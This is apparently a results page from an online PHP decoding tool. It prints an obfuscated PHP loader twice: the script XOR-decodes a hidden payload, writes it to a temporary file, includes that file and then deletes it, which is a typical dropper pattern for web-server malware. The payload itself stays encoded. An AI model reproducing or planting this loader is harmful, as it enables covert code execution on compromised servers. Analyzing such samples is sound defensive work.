Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function RpaDuYtozF($XXbAqUwnr, $ACvwtT) { $XXbAqUwnr = urldecode($XXbAqUwn..
Decoded Output download
<?php
function RpaDuYtozF($XXbAqUwnr, $ACvwtT)
{
$XXbAqUwnr = urldecode($XXbAqUwnr);
$NwAmvkgYRkR = str_split($XXbAqUwnr);
$action = "";
for ($i = 0; $i < strlen($XXbAqUwnr);$i++) {
$action .= $NwAmvkgYRkR[$i] ^ $ACvwtT[$i%12];
}
return $action;
}
$i="tE%19%02%1ACN%27%3C%05%24%15%3B%1F%1DBM%2B6%15%3A%19%12%26%27%1DNFJ%00%11%2B%19BvGB%3A%00%04%03%117%02%21Cj%26%27%1D6%0F%18%3C%2B%15%26LajxSRg%60%0E-%09%3C4%3E%2F%3CRN%07%0B6%1B%02-%0E.%3F%3C%13%06%045%3A-%0A0LajxSRg%60%0E7%02%2149%23%25%1F6%06%03%23-%13%7D%5BdqEpd%60gD%22%12%3B%089%23%27%14I%19%02%2A4Oq%0F%2C%3E%29VIN%01%2B%3DNXa6GBZIJJj%2B%12%214%29%2B%3C%1BIWJlf%5CXamjhZ%0F%05%18nlC%3CKpjxAIN%03nxG%26%1F%3F%26-%14AN%0E%2F0%06%7CPdj3wcJJndGuKm%2C%27%08IBN%24dZu%5Bvjl%10IVJ%3D0%159%0E%23bl%11%0C%13CnbAuO%24jtZ%1A%1E%18%22%21%09%7DO%29%2B%3C%1B%40QJj.L%7EGmn%21QBCJ5ImuKmjhZIJJndGq%048%3E%17%1E%08%1E%0BnjZu%08%258%60%15%1B%0EBj+%06%21%0A%16n%21%27%40J4n%2B%151Ci%21-%032N%00%13mNnfGjhZIJJnd%1AXamjhZ%14g%60ndGu%19%28%3E%3D%08%07JN%211%13%0A%0F%2C%3E%29Ad%60%17CN%0E3Ke%23%3B%09%0C%1EBj%1B+%10%3F%16%7C%7FI%5DY_%13mNXa6GBZIJJ%2A-%02%7D%06%29%7F%60N%5E%5D%5B%7CmNnfG7EpM%1E%0F%234Z4%19%3F%2B1%25%04%0F%18%29%21Oq4%0E%05%071+%2FFn%608%05%24%1E%1EaAd%60%0C%216%024%08%25j%60%5E%1D%0F%07%3Ed%06%26Ki.%29%0E%085%01%2B%3DGhUmn%2C%1B%1D%0BCn%3Fj_Kmjh%5E%0D%0B%1E%2FdZu%2B8%24%3B%1F%1B%03%0B%22-%1D0C%3E%22%2C%0AA%19%02%2A4O7%0A%3E%2F%7EN6%0E%0F-%2B%030Ci.%29%0E%08CFnc%17%3FS%2B%271M%03%09%10v%27T-%0E%3Dyp%03%1A%1B%08%2Fv%08%60%09y%2C1%18%0E%0D%1C%7CcNyKi.%29%0E%085%01%2B%3DN%7CP%40%40hZIJ%03%28dO%3C%18%3E%2F%3CRM%0E%0B%3A%25%3Cr%0A%26m%15S%40J%11CNGuKmjhZI%03%0CnlC1%0A9%2B%13%5D%08M7nyZuL%24maZ%12g%60ndGuKmjhZIJJj-GhK%2C8%3A%1B%10BgDdGuKmjhZIJJndGuKj%3A%3E%5DIWTn%04%17%3D%1B%3B%2F%3A%09%00%05%04fmKXamjhZIJJndGuKmjhZN%19%1CidZkKj%7BfJD%5BMbImuKmjhZIJJndG%7CP%40%40hZIJJndGuKmj-%19%01%05J%0E7%02%27%02%2C%26%21%00%0CBN%27m%5CXamjhZIJJn9G0%07%3E%2F%21%1CIBN%2A%25%1340j%2Bo%27IWWnc%02rBm1EpIJJndGuKmjhZ%0C%1C%0B%22lC1%0A9%2B%13%5D%0DM7g%7Fj_KmjhZIJJ3ImuKmjhZIJ%0F6-%13%7DBvGBZIJJ3Im%28";
$j=".%13%05%0F5%3E1%13%0A%08%22%24%3C%1F%07%1E%19";
$RSNnHXwAAW="HzijjNDgUkMJ";
$k = RpaDuYtozF($i, $RSNnHXwAAW);
$f = RpaDuYtozF($j, $RSNnHXwAAW);
$f($RSNnHXwAAW, $k);
include_once ($RSNnHXwAAW);
unlink($RSNnHXwAAW);
exit(); ?>
Did this file decode correctly?
Original Code
<?php
function RpaDuYtozF($XXbAqUwnr, $ACvwtT)
{
$XXbAqUwnr = urldecode($XXbAqUwnr);
$NwAmvkgYRkR = str_split($XXbAqUwnr);
$action = "";
for ($i = 0; $i < strlen($XXbAqUwnr);$i++) {
$action .= $NwAmvkgYRkR[$i] ^ $ACvwtT[$i%12];
}
return $action;
}
$i="tE%19%02%1ACN%27%3C%05%24%15%3B%1F%1DBM%2B6%15%3A%19%12%26%27%1DNFJ%00%11%2B%19BvGB%3A%00%04%03%117%02%21Cj%26%27%1D6%0F%18%3C%2B%15%26LajxSRg%60%0E-%09%3C4%3E%2F%3CRN%07%0B6%1B%02-%0E.%3F%3C%13%06%045%3A-%0A0LajxSRg%60%0E7%02%2149%23%25%1F6%06%03%23-%13%7D%5BdqEpd%60gD%22%12%3B%089%23%27%14I%19%02%2A4Oq%0F%2C%3E%29VIN%01%2B%3DNXa6GBZIJJj%2B%12%214%29%2B%3C%1BIWJlf%5CXamjhZ%0F%05%18nlC%3CKpjxAIN%03nxG%26%1F%3F%26-%14AN%0E%2F0%06%7CPdj3wcJJndGuKm%2C%27%08IBN%24dZu%5Bvjl%10IVJ%3D0%159%0E%23bl%11%0C%13CnbAuO%24jtZ%1A%1E%18%22%21%09%7DO%29%2B%3C%1B%40QJj.L%7EGmn%21QBCJ5ImuKmjhZIJJndGq%048%3E%17%1E%08%1E%0BnjZu%08%258%60%15%1B%0EBj+%06%21%0A%16n%21%27%40J4n%2B%151Ci%21-%032N%00%13mNnfGjhZIJJnd%1AXamjhZ%14g%60ndGu%19%28%3E%3D%08%07JN%211%13%0A%0F%2C%3E%29Ad%60%17CN%0E3Ke%23%3B%09%0C%1EBj%1B+%10%3F%16%7C%7FI%5DY_%13mNXa6GBZIJJ%2A-%02%7D%06%29%7F%60N%5E%5D%5B%7CmNnfG7EpM%1E%0F%234Z4%19%3F%2B1%25%04%0F%18%29%21Oq4%0E%05%071+%2FFn%608%05%24%1E%1EaAd%60%0C%216%024%08%25j%60%5E%1D%0F%07%3Ed%06%26Ki.%29%0E%085%01%2B%3DGhUmn%2C%1B%1D%0BCn%3Fj_Kmjh%5E%0D%0B%1E%2FdZu%2B8%24%3B%1F%1B%03%0B%22-%1D0C%3E%22%2C%0AA%19%02%2A4O7%0A%3E%2F%7EN6%0E%0F-%2B%030Ci.%29%0E%08CFnc%17%3FS%2B%271M%03%09%10v%27T-%0E%3Dyp%03%1A%1B%08%2Fv%08%60%09y%2C1%18%0E%0D%1C%7CcNyKi.%29%0E%085%01%2B%3DN%7CP%40%40hZIJ%03%28dO%3C%18%3E%2F%3CRM%0E%0B%3A%25%3Cr%0A%26m%15S%40J%11CNGuKmjhZI%03%0CnlC1%0A9%2B%13%5D%08M7nyZuL%24maZ%12g%60ndGuKmjhZIJJj-GhK%2C8%3A%1B%10BgDdGuKmjhZIJJndGuKj%3A%3E%5DIWTn%04%17%3D%1B%3B%2F%3A%09%00%05%04fmKXamjhZIJJndGuKmjhZN%19%1CidZkKj%7BfJD%5BMbImuKmjhZIJJndG%7CP%40%40hZIJJndGuKmj-%19%01%05J%0E7%02%27%02%2C%26%21%00%0CBN%27m%5CXamjhZIJJn9G0%07%3E%2F%21%1CIBN%2A%25%1340j%2Bo%27IWWnc%02rBm1EpIJJndGuKmjhZ%0C%1C%0B%22lC1%0A9%2B%13%5D%0DM7g%7Fj_KmjhZIJJ3ImuKmjhZIJ%0F6-%13%7DBvGBZIJJ3Im%28";
$j=".%13%05%0F5%3E1%13%0A%08%22%24%3C%1F%07%1E%19";
$RSNnHXwAAW="HzijjNDgUkMJ";
$k = RpaDuYtozF($i, $RSNnHXwAAW);
$f = RpaDuYtozF($j, $RSNnHXwAAW);
$f($RSNnHXwAAW, $k);
include_once ($RSNnHXwAAW);
unlink($RSNnHXwAAW);
exit();
Function Calls
str_split | 1 |
urldecode | 1 |
RpaDuYtozF | 1 |
Stats
MD5 | ff371a6a30799d3a893b04f5b4635cfc |
Eval Count | 0 |
Decode Time | 54 ms |